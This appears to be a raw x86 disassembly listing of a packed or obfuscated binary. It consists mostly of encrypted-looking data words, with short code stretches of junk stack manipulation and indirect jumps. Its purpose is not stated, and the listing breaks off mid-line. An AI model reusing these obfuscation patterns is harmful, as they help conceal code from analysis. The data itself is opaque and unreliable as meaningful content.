0DBC35747h, 8D8933BAh, 6131BBDh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 28C35040h, 67B21201h dd 18DD85C7h, 61B80613h, 81660000h, 0C7F290F6h, 13305585h dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0FFB2481h, 0B5FFD7B7h, 6131139h dd 0FFF3BF0Fh, 131D8995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F38B6606h dd 95FF006Ah, 6130DA9h, 6EEBC08Bh, 4C9FDFB9h, 203155BEh dd 337FC039h, 969A592Eh, 0FD15C4Ah, 0E297BAF7h, 0ADA083C8h dd 0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 67E84A7Ah dd 0A836AB2h, 9A01E0EFh, 6820FA6Eh, 0DEC7E4Ah, 2648D83Bh dd 773F93FCh, 63F9BB9Dh, 0DDB4EC57h, 0A0668F43h, 8080E576h dd 0AB84B4D5h, 0FE7DB4CCh, 0A1232AF3h, 0C0FFC0B9h, 0BB5A8405h dd 6E931ACh, 90000000h, 189B7Bh, 57CE900h, 61ED0000h, 63F3D5F5h dd 53E5CBEBh, 62F1D7F7h, 5BEAD0EEh, 45EAD9F9h, 1BBB9928h dd 0BABA735h, 18B69225h, 0DAD9F32h, 70EA1B44h, 3916B6DEh dd 6CBD7EE0h, 72C38F1Dh, 6A557213h, 0DC8F3C81h, 7FEEF6B2h dd 68460E5Bh, 7E5DEF42h, 0F243095Ch, 0F26A0D5h, 0AEEF109Eh dd 0F45CEBCFh, 8597DECh, 81D1F544h, 2DC9EECDh, 4372EBA4h dd 5A0D5C64h, 5EEFA318h, 55EAD0EEh, 5AEDD3F3h, 0ED7B5FEEh dd 0CDDC36A7h, 9DA5109Dh, 3E5F3E0Ah, 42B7392Fh, 0AD0D3B90h dd 43123A8Bh, 67A11B04h, 45AF956Bh, 0E58D0C7Bh, 8C06109Dh dd 0D36248EFh, 0D19F3781h, 79A341DBh, 4Ah, 0E06CBDDDh dd 0CE4D7251h, 0A4A83956h, 884F7495h, 0B7A4232h, 109DD28Dh dd 0C9F38802h, 0A341F40Bh, 1B3h, 6DBD8700h, 0DC6E50E1h dd 50DFE372h, 2E7FA300h, 6CE4F1Eh, 0D7EF467h, 69490555h dd 77D1664Ch, 72DA6B6Dh, 70BDF654h, 547655E4h, 9AFB4A00h dd 0A0AE0052h, 321EAD91h, 0BF8F1F23h, 9425ADAEh, 3ACF39A1h dd 3612A58Dh, 0FCDEE627h, 0DFC8E76Dh, 3D92657Eh, 3917A12Ah dd 0ADA7361Ch, 0E6A03123h, 1D931A6Dh, 0FFDCBDB5h, 8D31ADE0h dd 9BFA109Eh, 1CB09251h, 0A93B1F2Eh, 1CAE90A1h, 0C0E22332h dd 82CA1B6Ch, 147E52E3h, 0CB478E77h, 305E0E2Eh, 1A40A341h dd 0E53C84C6h, 7Ah, 0E470BD79h, 6BDF7155h, 7AD4664Ch, 0C322AAEBh dd 0B969E210h, 0A48B282Ch, 0BFB86260h, 9FBD07CDh, 0F26CA1BEh dd 0BB109E73h, 0F140925Ah, 5FF0D263h, 80F5D2F1h, 109E7406h dd 153D8BCFh, 1CA4C544h, 0D16AA4CDh, 4157FDABh, 5B65A3h dd 0BDF90000h, 7155E470h, 0F7DB6ADEh, 7658E969h, 5DB6AE4h dd 0A407EE8Bh, 0AD295C7Bh, 0E1109DB4h, 2C6DFC50h, 9CF6FE1Fh dd 6EE6731Fh, 6DBDF250h, 4F7350E1h, 4FED87FDh, 0FB80E32Fh dd 824ACB9Ah, 9DC48203h, 0FA8FFB10h, 41FA02D2h, 92C3E4A3h dd 109DD138h, 0CD549C01h, 1, 99DDC271h, 1DB27F16h, 45E8F2Ch dd 0CD109DE4h, 0FA4E8048h, 6CBD0150h, 0E06D51E0h, 0E45530AEh dd 0F2933B33h, 95F16463h, 5E109E96h, 64E9B3Fh, 0DD6EA437h dd 219AD4E8h, 0AA245976h, 73109E96h, 3488CA12h, 0B897B816h dd 9E96C945h, 69739210h, 5572144Dh, 8F933120h, 92A3E216h dd 0DD6C1DB0h, 0C6A7E677h, 0DD6FC2E8h, 909FFD8Ch, 88D70A8Bh dd 65579C8h, 2A68FB4Ah, 0DC03A491h, 5CED67F6h, 90940E7Fh dd 385D0A8Bh, 84F58F59h, 0F2D17BCEh, 0AD280D0h, 0F953E6CCh dd 0B6D36668h, 9EF86D25h, 670A8B90h, 17264726h, 0BA68E16Fh dd 2D852527h, 5AAC366Fh, 148D7h, 0BEA36B00h, 377AEBC8h dd 0D0168EBCh, 0F8DFFC4Dh, 0EF6CB9ACh, 0C315DFB6h, 0DBFCDA72h dd 0ECE414F4h, 0AD37F5A7h, 0DF6F1AABh, 0DEBFDE6Fh, 52FA4B8Fh dd 0A7235275h, 700A8A1Fh, 1337892Dh, 6AF9C342h, 0DD9526A4h dd 85A2004Ch, 7C44109Dh, 0AD8114E4h, 66BC5Ah, 0C2A20000h dd 0B51670E5h, 0F84A109Dh, 3C840956h, 3C9BE700h, 624C2DC9h dd 5E81A66Fh, 0E919AE4Bh, 5FBE2BB5h, 1D237F0Eh, 6B25909Eh dd 0B40129CEh, 0BECFDDAh, 3253B683h, 0DEDAE223h, 80A20181h dd 0BC992331h, 6265AD49h, 0B30426EFh, 0BC87CC9Dh, 26576095h dd 29C60E6Fh, 52E3C7E4h, 0CBAAAA37h, 8EF4D301h, 5A000000h dd 0EBC8BEA3h, 8EA18F7Ah, 73C2E816h, 0B8AD7E1h, 0A7351D3Ah dd 9E2F21ABh, 0B2F10AEh, 0C4E96BEh, 26A0D5B9h, 0EF0A8AA1h dd 0CAF0CFAEh, 786D779h, 7CDF2EBDh, 0BD0A8AA1h, 5BEEA415h dd 5BF0D2F1h, 0B9F5E3EDh, 84F9D6B0h, 10718929h, 7D228DB2h dd 5FEE5AEDh, 5445993Eh, 3E409ACBh, 84090471h, 96B584E5h dd 0A42C22B4h, 1C2D1FB2h, 96A7A93Ah, 1F2E24B4h, 40F28709h dd 0B0D160EEh, 0F891FBD1h, 6E4D3930h, 5826C2FFh, 0ECCA4B0Ah dd 5DDC24Eh, 0C00A0B26h, 0E10834BCh, 912406A5h, 84A5AABBh dd 909A7C44h, 0B29F2948h, 84D9E643h, 1F2E6F16h, 87C91A40h dd 82CA1B3Dh, 0DEABFE24h, 0D362034Dh, 6F59BA2h, 81FA7808h dd 0EECC80D1h, 600D79CCh, 6AF7A87Bh, 0ABAFBEDFh, 6CE0711Ch dd 8089AE0Dh, 1A3283ABh, 466588B5h, 0C4F9EF7Eh, 601872E3h dd 0BCE1EC02h, 0B161DA34h, 0B18E2C20h, 60035F8Eh, 49CCEC02h dd 8DFC4D7Fh, 0C041103Ch, 11B590A1h, 19000000h, 351E0C2h dd 61ECD332h, 2339AB4Fh, 31EB1FA9h, 54E571BDh, 0DC6DDF72h dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh dd 9EAF9B2Dh, 15242ABCh db 22h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push 76E3h mov [esp], eax push 3774h mov [esp], esi mov esi, 24D83F87h dec esi sub esi, 1EBF1656h mov ebp, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push edx mov edx, 8 add edx, 3B153A9h add edx, eax sub edx, 3B153A9h mov [edx], ebp pop edx mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- shl byte ptr [ebp-4A18753Eh], 0B8h or ebp, [esi] sbb [esi], eax add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 47h dd 3F35320Ch, 1B580291h, 5126F98Dh, 821961FBh, 171D1D0Eh dd 6D573468h, 6909C573h, 563D509h, 0A37476D1h, 982C808Bh dd 84353DAh, 4F3F9809h, 0E86EBC1Eh, 10h, 0F1483958h, 87037CF7h dd 0FFE8327Bh, 43D59978h, 0BE665AF8h, 0C2812D62h, 6185h dd 0E8FF2BF5h, 5, 0DA761F0h, 6820FD4h, 81000000h, 11A7E3D6h dd 34FF5B60h, 0D9816617h, 8058A246h, 0E881C6EBh, 2CEB0208h dd 6938C081h, 0C08113B0h, 7697F011h, 50C88B66h, 8FCE8B66h dd 6E83A04h, 0AB000000h, 0F855FFBBh, 81BB66E1h, 8B0F5EF7h dd 6, 5B91DB81h, 0EF837F41h, 10E804h, 0F7C50000h, 255CDEF0h dd 0B67E54B4h, 0B1790802h, 5EF9F8CDh, 9F40FF81h, 850FFFFFh dd 0Dh, 24E9h, 7E0AF000h, 32062AACh, 0B5BB6685h, 0FF80E9B1h dd 0DC5FFFFFh, 0F333B286h, 9FD838C9h, 6AF5828Fh, 0AC61272Ch dd 18CE9B7h, 57010000h, 2C276F21h, 98D31AD5h, 0D1D746B1h dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0) dd 97000000h, 33A26D84h, 0EE69F0h, 3 dup(0) dd 47E90000h, 68000010h, 619335Eh, 0FB1633E9h, 346A68FFh dd 29E90619h, 68FFFB16h, 61935EFh, 0FB161FE9h, 36B868FFh dd 15E90619h, 68FFFB16h, 61937E4h, 0FB160BE9h, 38AF68FFh dd 1E90619h, 68FFFB16h, 6193982h, 0FB15F7E9h, 39FD68FFh dd 0EDE90619h, 68FFFB15h, 6193AD8h, 0FB15E3E9h, 3B5D68FFh dd 0D9E90619h, 68FFFB15h, 6193C3Dh, 0FB15CFE9h, 3CD968FFh dd 0C5E90619h, 68FFFB15h, 6193D86h, 0FB15BBE9h, 3ECF68FFh dd 0B1E90619h, 68FFFB15h, 6193FF8h, 0FB15A7E9h, 2F805AFFh dd 0E3CC2151h, 347795FDh, 0E7C8264Eh, 376889F9h, 6BE15549h dd 0BBA71986h, 41318F1Ch, 0F39F01AAh, 922C9615h, 0D9EA5EEEh dd 0E5E2428Dh, 4A617798h, 0A1FD96CEh, 0EF1E8DD9h, 44E0040Eh dd 40DA4DBEh, 44678113h, 6D6ABA5Eh, 208B6143h, 0A51DC104h dd 94F7B325h, 91578944h, 51DC6687h, 0E9D265E5h, 76A83EA1h dd 0E1D93F3Dh, 1AB7BD79h, 0D0F5189Fh, 0B1F78439h, 326D9400h dd 915A0081h, 212A106Fh, 0CB7902B1h, 504848h, 0FBFD0000h dd 118E5FE3h, 35D5D82Bh, 44940FC3h, 0B74187B9h, 9581ACB6h dd 0A15A0EF5h, 9CAFC3Eh, 79520D73h, 89EC0BBDh, 456E3C6Fh dd 7FF3B84Fh, 490416Eh, 0B220C3E8h, 321887A9h, 1ABD5529h dd 0DE2C835Bh, 0B743D535h, 48CB4A08h, 0EB4Eh, 61770700h dd 0D6FB894Ah, 5C7C08C9h, 6EB6A24Fh, 24F7B32Fh, 0B4E0FACFh dd 0E0CB2154h, 0AEC4B82Ah, 0EE44944Dh, 4BF662EAh, 84C64494h dd 0F1BA1E76h, 0A605E38Fh, 7DA8B26Dh, 7D1EF199h, 0CAFC3EA1h dd 46CE164Eh, 55EA6B08h, 0F6905DC3h, 2FD7BB3Bh, 0BD7951C5h dd 0EA0171B3h, 0E75F37C1h, 0C74DFBE4h, 6EDA7266h, 6EB74CF8h dd 19F12289h, 41C15789h, 547D2EC9h, 4CC43476h, 6088FAA5h dd 68E01DF0h, 0B74CF8FCh, 0A3509ACCh, 3D2ABB67h, 7E153E96h dd 0E6B9187Ch, 1A650E5h, 1F9A8571h, 0D7Ch, 87A35D5h, 542E815Ch dd 1DFCC20h, 50327D91h, 0E2BD24h, 13BE5ED0h, 896E168Ch dd 37D4C022h, 82660E74h, 6125B729h, 8DDB7FE9h, 35604D42h dd 5B455A77h, 5EDAD127h, 0E866D27Ah, 14564494h, 346C9C06h dd 0BCD3D4BFh, 75607A43h, 56F17FBh, 0F34494E8h, 0A60111B1h dd 0B9D38DCBh, 13344E1Fh, 641226BEh, 9E9A5059h, 0A193372Eh dd 1ED3153Eh, 79E936AEh, 3E0B33BDh, 0CBF13FCEh, 5DEDE948h dd 0BD79E5EBh, 199269E1h, 0D6C749CFh, 0BF000000h, 0C3F0BF4Fh dd 0FBE2F107h, 0C38BADE3h, 7B7D2B19h, 29EAC117h, 0A869369Bh dd 0CED130A0h, 7CAAC04Ch, 82664494h, 2DCBB729h, 7CC83CCCh dd 7EC04494h, 0CE58874Ch, 7853F363h, 0F23EA14Ah, 0C430CAB2h dd 5F79E81Fh, 6175E123h, 79447FE9h, 0FD1B4DBDh, 0F5304AA3h dd 0EA778901h, 4385C74Dh, 0F9C3BD3h, 941BF2E2h, 0DB5DAB5Fh dd 0F1AE53BBh, 0A1FEE38Fh, 11C7728h, 0E6E3CC71h, 0C70h dd 3CA609E1h, 88FAB548h, 35AB00DCh, 0A4FEB14Dh, 348E11F0h dd 0EF128A7Ch, 45A2D2B0h, 0F3087C66h, 3E9ACAB8h, 0D5B9136Dh dd 8DDCC335h, 81CCB942h, 314AE3FBh, 0BB436F26h, 94DED94Bh dd 3B6DAF44h, 138C759Dh, 8823C5ADh, 0C3E80090h, 0CC3CBC0Eh dd 4494DE58h, 0B6ECEE30h, 4A61770Fh, 0CEDDFB89h, 9B14EA6Ah dd 2BE8C717h, 2FD749CFh, 3D35CBEFh, 0F407496Dh, 6E7F1B7h dd 0C545B17Ch, 3EA1D10Ah, 2AE15C84h, 9C717A1h, 79161781h dd 65A3E5BDh, 0C4ED2FD3h, 791650C8h, 0E4ED4DBDh, 0CB0E4574h dd 640948h, 0D2BA0000h, 0D179DD48h, 3EA1F566h, 0EBE11254h dd 0BD780375h, 2D01CA70h, 337A129h, 8D05BD78h, 708A406Bh dd 0CA07FD0Ch, 38A148h, 0FB720000h, 690A07E3h, 4CCE5334h dd 2A0E1923h, 0A18343A2h, 527FC13Eh, 79B7C23Ah, 9939DFBDh dd 50AA6738h, 0B7F460E8h, 82C4BD79h, 6DDDE678h, 48CBAF5Eh dd 704h, 3D6CD100h, 45000008h, 4AA748D2h, 32DFCC1Fh, 29E112D8h dd 38CF77DFh, 0BA3EABD9h, 0EE87306Ah, 0D761F3ABh, 95FDF92Bh dd 1A4A3873h, 8909EDBEh, 41793A75h, 0FB859AB7h, 1840C830h dd 0E8C74DD7h, 0EF086180h, 5C3F7BCh, 3CBCEECCh, 0AD4134D4h dd 0AADAC802h, 7BB45D4Eh, 80F494E1h, 78B7580Fh, 0F4948446h dd 0CD6D2FC1h, 54E41F37h, 3660E204h, 3AF774h, 7CA76AE3h dd 0AEBFDh, 2B846600h, 7F30CDB5h, 109B7121h, 832CC2B2h dd 138C751Dh, 8F0D01ADh, 1F532D72h, 95FDE3C8h, 174B3576h dd 0E6F8EAC1h, 0DD3EAA22h, 210E428Dh, 0E9096FF4h, 0D8624494h dd 0E9EDE94Dh, 6B17F761h, 7437D5BBh, 0E02CAEF0h, 0C1542759h dd 328BF527h, 7119FD28h, 0C74D1752h, 2AAA8ED0h, 1303DDCEh dd 771D87FFh, 77FB759h, 0B759779Dh, 0F729396Bh, 5457B1E1h dd 89F6909Fh, 59779701h, 0E52365B7h, 6A0BE171h, 24CD1B94h dd 504454E6h, 4E8328C0h, 0C6049B46h, 5E98D834h, 6698CD66h dd 258662F2h, 7A31C7BBh, 87DF4339h, 0A142920h, 5E7371Fh dd 96C113E7h, 9333E3F5h, 5315C838h, 3CDFEC1Eh, 0A9E4CA37h dd 0A220B7Eh, 0DB2F0000h, 6786EED4h, 0D22A5A48h, 637BE7D9h dd 0C32E564Ch, 44BAE6DCh, 0C7629C8h, 0B62C7F58h, 247E2DCEh dd 0AD139870h, 65CF771Fh, 53428DDEh, 48D22F56h, 905EA8F7h dd 4E8C573Eh, 8CB894EFh, 141ACA00h, 897BEAE0h, 87D73F89h dd 963240A6h, 3C5CDEEAh, 0AB6775CCh, 3D9B133Eh, 4D6E8D88h dd 0D1173133h, 6AA00BE1h, 298266EEh, 37A1292Dh, 5BD73E5h dd 77EB35C3h, 56894A61h, 55F561CCh, 0C74CD5CAh, 4CB85044h dd 3CB75935h, 5294F00Ah, 218A6EE6h, 7635D3BFh, 8D98A23Dh dd 8FFA79A9h, 6EA3F042h, 6FE7218Ah, 59656DD7h, 0F295BB7h dd 4D097F07h, 0C5F7CD66h, 8427C151h, 815AFA1Eh, 711E92Ah dd 0E9086D8Bh, 0BBDFDB6h, 39D242C6h, 0B5DC48C0h, 7AACA920h dd 0FA62AA30h, 35A920B5h, 7018002Bh, 0D31F9DE5h, 0ED65D113h dd 18876A0Bh, 6DE91FDBh, 6DA609E5h, 1AE5758Dh, 0E31B8B2Fh dd 4197CB55h, 0EC76A96Ah, 9635D541h, 94D93098h, 0F48EA152h dd 664DBD39h, 0B8DF23EAh, 4EECBF18h, 26F774B6h, 0BB589814h dd 8F6F990h, 7F5B0000h, 0CB225230h, 7696FEE4h, 0C7174B35h dd 678AFAE8h, 0E0564A38h, 0A81A856Ch, 32901BBCh, 0A002A942h dd 299714F4h, 0E95BEB93h, 0DF428DDFh, 61779BE2h, 0DDFB894Ah dd 0EAA825CEh, 3C6F89E1h, 0F0F70646h, 79BB126h, 68000000h dd 4D66Ch, 0E3FB4500h, 0AC995A7h, 81A23885h, 95B3EBBFh dd 0D361FBE4h, 11F057DFh, 6C9EFD14h, 7687A1CEh, 62D6148Bh dd 0A13C93EAh, 4F2F713Eh, 0AD17AFA3h, 9BBD795Dh, 16D4DB33h dd 0C6E8804h, 7B05E877h, 41C048B0h, 3F18400Bh, 0CC44D4FDh dd 74797F2Ch, 0BDF359EAh, 0BA4B0889h, 4B8008F0h, 491E5120h dd 0A04128C9h, 0D32FC9FFh, 0CB2DA591h, 769202E0h, 0C6733435h dd 1F0897E0h, 82BAAh, 0EBC42600h, 3F708DF5h, 0D0DB3161h dd 436C82F2h, 0D3CC355Dh, 0CF4DC1EDh, 5F136D32h, 0D5BD2388h dd 570B7536h, 26B82A81h, 0D07EEA62h, 614E428Dh, 64617734h dd 66E7B18Bh, 228962A6h, 19CF19F1h, 0DD3070D8h, 611AD72h dd 0CE335F79h, 44DEEFD1h, 985259B3h, 80AF28A0h, 81993EABh dd 0F30B0A21h, 6D3E9D74h, 0D4448644h, 737DC034h, 4486B8BDh dd 9F588CD4h, 3DDA4EBEh, 70B2BD73h, 0B4BE8454h, 3E667226h dd 0D627B59Fh, 292A85Ch, 4551C5E6h, 730453C5h, 0CBF729BDh dd 825A4D06h, 0CA58E253h, 446D3E9Ah, 0A29691ABh, 4C47972Ah dd 332365C7h, 146E3D9Bh, 33238860h, 0CF69369Bh, 0FEEF1282h dd 5A861A8Eh, 0FAB0F2B7h, 0F784A871h, 4F6A5570h, 758h dd 0F4CEE1F9h, 60426D80h, 0EDD3D834h, 5C466985h, 0ECD6C928h dd 27CA42B4h, 7D5A0A78h, 0CB20542Eh, 769202E0h, 8D714B35h dd 8DD18BFDh, 39848142h, 79DD48D2h, 9619F55Dh, 1897675Dh dd 4FE91FDBh, 0ABD860BBh, 0D22AAA3Eh, 0AF644BA3h, 0F78B8D5Bh dd 27C151C5h, 92761E84h, 91391D19h, 0BD723827h, 0C45D315h dd 7ADE49D3h, 472A8FD2h, 2E3B6DC7h, 70FCD555h, 0DD80F922h dd 74000006h, 0BBA71996h, 3F338D22h, 0F0A4FEADh, 432F911Eh dd 2F9F019Eh, 6B349D3Fh, 0C1EA0D75h, 5358B3DFh, 0C8E3056Dh dd 8CFC04DAh, 428DD118h, 77CAF3F0h, 0FB894A61h, 0A825CEDDh dd 0DCCF2CA4h, 7BD3A03Eh, 0E8744E5Dh, 0B126ECD9h, 77Dh dd 0B86C5600h, 45000002h, 894A6177h, 0F561CC56h, 0ABD9CA55h dd 0A338B03Eh, 0D3EFCB08h, 0C3D60F7Ah, 512F79DEh, 4DAEC721h dd 5D67AC5Eh, 272B2B74h, 72F2359Fh, 37C103BDh, 35E5FDE9h dd 0AD433FE8h, 0A6C0AD4Bh, 0BA439D9h, 722E157Fh, 67A1E3BDh dd 1EE557EFh, 5BD3C74Dh, 11E92A81h, 19EF5FD7h, 0A4443092h dd 0D63ECA07h, 0E7E7A31h, 0B7597E9Ah, 6AAA3072h, 44DB1887h dd 7F07EF3Ah, 0CD6C6D24h, 2A1B90D2h, 0FF6AE399h, 602B5D4h dd 0BB4F0000h, 7E68EF4h, 0B24A3AA8h, 3DB87F9h, 0A34E36ACh dd 241A86FCh, 6C5649A8h, 0D6CCDFF8h, 845E4DAEh, 0CDB3F810h dd 56F17FFh, 0F3428DD2h, 0E3FBCFF6h, 5566C90Ah, 0A1F1072Bh dd 25AF6447h, 922BE8C3h, 798FE7F4h, 28A85032h, 0E01AD7D4h dd 0F313A25Ah, 0D9BDB126h, 94FFC731h, 8629C544h, 0B3F56D4Dh dd 0EEB25h, 6C980000h, 16Bh, 0BAF50888h, 1C37C1F9h, 414A6177h dd 7D29164Eh, 7D615843h, 0D4000005h, 5B077936h, 1F532D82h dd 9004DECDh, 234F317Eh, 0CFFFE1BEh, 8B14BD5Fh, 218A6D15h dd 7338D3BFh, 2883650Dh, 0EC5C24BAh, 428DD378h, 772A5350h dd 46CE4A61h, 0FBCF049Bh, 8E0F4DDh, 0C21BB3A3h, 74E36407h dd 2F79057Fh, 0BB1CA8A9h, 0EE21C3F0h, 9971FE2Ah, 8926B7BBh dd 0B8812948h, 25311796h, 94C633A5h, 41D70944h, 9276CE9Bh dd 53B51D19h, 1C60C258h, 0B126C2EDh, 20B1h, 19B1A500h dd 4494CEAFh, 86CD6B9Dh, 0C66Ch, 0C06C4500h, 88000000h dd 0D0B0AA58h, 52E8FF48h, 0DD48D203h, 0D94ED179h, 0FA2C3EABh dd 0C3434FB9h, 0BD722751h, 0AE3F527h, 0C941B570h, 0C747225Ah dd 440C2038h, 3FF347DEh, 0C9AF30Eh, 0F212D82Bh, 71CB0B43h dd 9613D531h, 70FC7A8Bh, 9D1AAF98h, 0B4000004h, 0FB675956h dd 7FF3CDE2h, 30643E6Dh, 83EFD1DEh, 6F5F415Eh, 2B745DFFh dd 812ACDB5h, 1398731Fh, 8823C5ADh, 4CBCC41Ah, 428DD4D8h dd 0D28AB3B0h, 5D79DD48h, 0CC109845h, 81397A25h, 1EB5161h dd 0F1A893F7h, 5C8E3EA2h, 139874DCh, 34C949ADh, 0B62D5D7Bh dd 0A4BD796Ah, 9796744h, 2040B8F3h, 3BAEE43Ch, 806151C5h dd 218F21Fh, 42AB8D1h, 0D2790000h, 0D179DD48h, 3EABD94Eh dd 0F0BB50C0h, 0AB689AEAh, 0D73FEA74h, 4722C02Fh, 0FF8CBEC7h dd 70FCC80Ch, 19B2E19h, 50000004h, 0D78BF5BAh, 4B37A906h dd 0DC88FAB1h, 9FD3AD02h, 4B835D42h, 0FFA041DBh, 9516F1A1h dd 7A4372Bh, 9C0FE999h, 58F09826h, 428DD4ECh, 0D2A6EFDCh dd 0D179DD48h, 3EABD93Ah, 7F2CC028h, 0F7B1EE13h, 2D728FFFh dd 0A94E4684h, 0DFF9D102h, 6A419737h, 4849078h, 0BD722790h dd 90048468h, 68BD7227h, 2E667436h, 2D75E1CAh, 4E25837Fh dd 656E8C04h, 8175B0CAh, 4DCD5309h, 876FB1C7h, 1FB9F607h dd 0AA01D777h, 0E9C226AEh, 47A1D14Fh, 0E680AF64h, 0A943CB4Bh dd 0DFF9D102h, 15648F37h, 90D2CD6Dh, 0E2D2F21Bh, 7DFC276Ah dd 354h, 0F0D2DDFDh, 5C466984h, 0E9D7D428h, 584A6579h dd 0E8DAC52Ch, 1BC646B8h, 91761E84h, 1FBCA81Ah, 8A6E168Ch dd 692DBF21h, 8DD577E1h, 0FD484542h, 894A6177h, 0F4CEDDFBh dd 5EB041DBh, 279F9751h, 3EA1F69Ch, 50C0386Ah, 5C5EEB1h dd 76EEDEF3h, 73BD7802h, 7F8EFECBh, 2348CA06h, 4Fh, 0DD48D2F0h dd 1D455D79h, 0F7B4475Eh, 7320D3CBh, 433E2565h, 0DA0C3EA1h dd 9912F65Eh, 0C23A527Fh, 0DFBD7939h, 6C3F9939h, 39E85CECh dd 9EE0BD79h, 89F9C29Ch, 48CB217Ah, 10120h, 0AC1C3800h dd 0BD793538h, 0C01DE810h, 1E4C0CFDh, 77074EECh, 0FB894A61h dd 7C08C9D6h, 0BB2D9D5Ch, 914494E8h, 0E8BB2D9Dh, 4F914494h dd 0B6A24F99h, 0D6EEBD1Eh, 4FF8DE5Eh, 0CB47D103h, 0FCAF482Dh dd 0DBC503B7h, 94F9CB9Fh, 3DCDC944h, 4494FFCBh, 0F9B249C1h dd 32C802B8h, 9F6F06E2h, 7CE8DA10h, 0B6A24F5Ch, 27ECB31Eh dd 1E2845D3h, 54FB2313h, 1D48ECF6h, 0EE5E3AC0h, 3EA1F74Bh dd 0F47A1941h, 0D9DA3B82h, 21CB10Fh, 0CD972F27h, 0CFC74C4Ch dd 8F03A83Fh, 5AAA307Fh, 41A03028h, 0F110845Eh, 7A9ABDAEh dd 0E4CF70FFh, 20BE5h, 0BA44600h, 9F10ED95h, 0F0BB5141h dd 0A30CE292h, 0F3AC553Dh, 0AF2D218Dh, 0FF734D52h, 0B5DDC3E8h dd 0F76B5556h, 6D8CAE1h, 0D61E8A02h, 1EE428Dh, 5DE3FBD4h dd 2EC8137Ch, 496286EEh, 6CA83288h, 0BCA81A85h, 0C5318F1Ch dd 9F16AF4Dh, 43103748h, 63975C8Eh, 48D27ED5h, 0FED979DDh dd 34C604ADh, 0BDFDE464h, 99CB3EA1h, 3CFC6458h, 2DCBD78h dd 3C198BFBh, 0ADEFBD78h, 30CEB6FBh, 9B3B527Fh, 1535ACCEh dd 242DDC4Ch, 0D47148CAh, 22000000h, 0F8146177h, 7296FEB3h dd 0F5536F39h, 7D65B0Fh, 2B995A90h, 0A418D9C6h, 449453CEh dd 0FDF896CEh, 0E0B58CDEh, 8D1EBA5Ah, 50A93F33h, 941A4CB8h dd 8A0A3C44h, 36943D6Eh, 96B03F74h, 17B79B9Bh, 0D02AE7C4h dd 2B67C24Ah, 0D3153EA1h, 748909EDh, 0B6D09D3Bh, 180B7B7Bh dd 0EEC74D86h, 3AD43CBCh, 9FB36375h, 0C1049B7Fh, 4C91DF49h dd 477BADB7h, 47D1366Dh, 7D7926CBh, 0FDB6F915h, 7DE53BBDh dd 0B8F31554h, 0CD7FD9FBh, 62C3C8FDh, 406962A8h, 8D7101ABh dd 0E227A2h, 9B6F0000h, 27C6AE14h, 926A1A88h, 23BBA719h dd 836E168Ch, 4FAA61Ch, 4C366988h, 0F6ECBF18h, 643E6D8Eh dd 0EDD3D830h, 258F37DFh, 13428DD7h, 5A77EF16h, 0D1275B45h dd 77BDE8DAh, 0FB894A61h, 38AC1CDDh, 104494E8h, 19A61CCEh dd 9C34240Fh, 0C9CD6B40h, 0ABC00F41h, 8109ED3Eh, 0BD723817h dd 0AC65A3E5h, 52B5C018h, 18B09859h, 0BD7238ACh, 34A06A9Ch dd 0E01AD7D4h, 17F62E2Ah, 2193339Bh, 17BD72A6h, 0C2153DE5h dd 751D8395h, 201893h, 0F9F6CD34h, 0DCF50332h, 225A346Ch dd 0B368DC6Ch, 1E60BD72h, 0A7763F06h, 62985956h, 9AFA92A8h dd 0FBA26A7Eh, 4C5F7D15h, 37A53387h, 7536D22Ah, 2A81570Bh dd 6546A62Eh, 0F8167ED3h, 87416A81h, 0ACB5194Ah, 89F7B454h dd 67ACFFD9h, 352h, 59402300h, 874C6377h, 23D0DBFDh, 0A0515AB1h dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh dd 0B45D52ABh, 0E2895252h, 4C281h, 0EA830000h, 24148704h dd 5124248Bh, 0C181E189h, 4, 4E981h, 0C870000h, 4895C24h dd 5BA56824h, 1C890000h, 4EC8324h, 0BA241489h, 61931E3h dd 815AD089h, 4ECh, 24248900h dd 4240481h, 5B000000h, 8BA52h, 0DA010000h, 24348150h dd 10CA1255h, 3281028Fh, 10CA1255h, 2434FF5Ah, 4C4815Bh dd 8B000000h, 89522404h, 4C281E2h, 81000000h, 4C2h, 24148700h dd 5FEE95Ch, 357FFFBh, 9DE22AF0h, 0FFB819F8h, 3061940h dd 0CAE0FFC5h, 484B5727h, 2841101Fh, 0CB0C7439h, 3C174C7Ah dd 0C53FF86h, 82651F61h, 0C445FC5Fh, 80563EBBh, 69751085h dd 120F10D0h, 6A4D36C6h, 63507445h, 7E241954h, 0CB1513FCh dd 0BA051D38h, 3599D00h, 6547CC24h, 9A143D07h, 0E848F8D2h dd 10h, 56150450h, 0A09A9B94h, 0CF61081Ah, 88F054Dh, 0D1F728B8h dd 0D7815B1Eh, 2D6DE103h, 5A3BC381h, 860F0000h, 5, 3CC88166h dd 166968CBh, 0CDB40000h, 0C840F59h, 60000000h, 0D0EABA66h dd 6A17DE81h, 8B6119D0h, 0F575713h, 86h, 815E5E00h, 0EF33A6C2h dd 0EA81F85Eh, 30A1BDD6h, 0CD36C281h, 13893FE7h, 0BCEB81F8h dd 